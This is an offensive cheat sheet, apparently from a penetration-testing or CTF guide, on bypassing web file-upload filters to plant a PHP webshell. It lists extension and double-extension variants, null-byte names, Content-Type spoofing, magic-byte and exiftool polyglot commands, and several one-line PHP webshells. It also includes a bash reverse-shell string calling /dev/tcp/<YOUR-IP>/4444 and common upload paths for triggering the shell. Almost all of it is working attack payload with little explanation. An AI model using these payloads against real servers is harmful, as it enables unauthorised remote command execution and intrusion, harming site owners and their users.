Step 1: Understand What's Accepted
Try uploading a normal image first · understand the flow
Then try: image with PHP content, PHP file disguised as image
Step 2: Bypass Techniques
Extension bypass · try all variants
shell.php
shell.php5
shell.php7
shell.phtml
shell.pht
shell.phps
shell.shtml
Double extension
shell.php.jpg
shell.jpg.php
Null byte (older PHP)
shell.php%00.jpg
Content-Type bypass (change MIME type in Burp)
Original: Content-Type: application/x-php
Change to: Content-Type: image/jpeg
But keep file content as PHP
Magic bytes bypass (prepend JPEG magic bytes to PHP file)
echo -e '\xFF\xD8\xFF\xE0' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
Polyglot (valid image AND valid PHP)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php
Step 3: PHP Webshells
<?php system($_GET['cmd']); ?> <?php echo shell_exec($_GET['cmd']); ?> <?php passthru($_GET['cmd']); ?> <?php echo `$_GET[cmd]`; ?> <!-- Usage: http://<TARGET-IP>/uploads/shell.php?cmd=id --> <!-- Upgrade to rev shell: --> <!-- ?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<YOUR-IP>/4444+0>%261' -->
Step 4: Trigger the Shell
After upload, navigate to the file location
Common upload directories:
/uploads/
/files/
/media/
/assets/uploads/
/wp-content/uploads/
/images/
Find exact path from page source or gobuster output